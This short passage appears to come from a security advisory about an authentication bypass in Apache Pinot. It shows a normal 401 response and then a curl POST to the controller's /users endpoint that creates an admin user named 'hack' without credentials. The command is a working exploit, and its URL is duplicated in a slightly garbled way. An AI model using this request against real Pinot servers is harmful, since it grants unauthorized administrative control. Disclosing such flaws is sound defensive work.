Return: {"code":401,"error":"HTTP 401 Unauthorized"}

Malicious Request and Response Example

curl -X POST -H "Content-Type: application/json" -d '{"username":"hack","password":"hack","component":"CONTROLLER","role":"ADMIN","tables":[],"permissions":[],"usernameWithComponent":"hack_CONTROLLER"}' http://{serverip}:9000/users; http://{serverip}:9000/users; .

A new user gets added bypassing authentication, enabling the user to control Pinot.
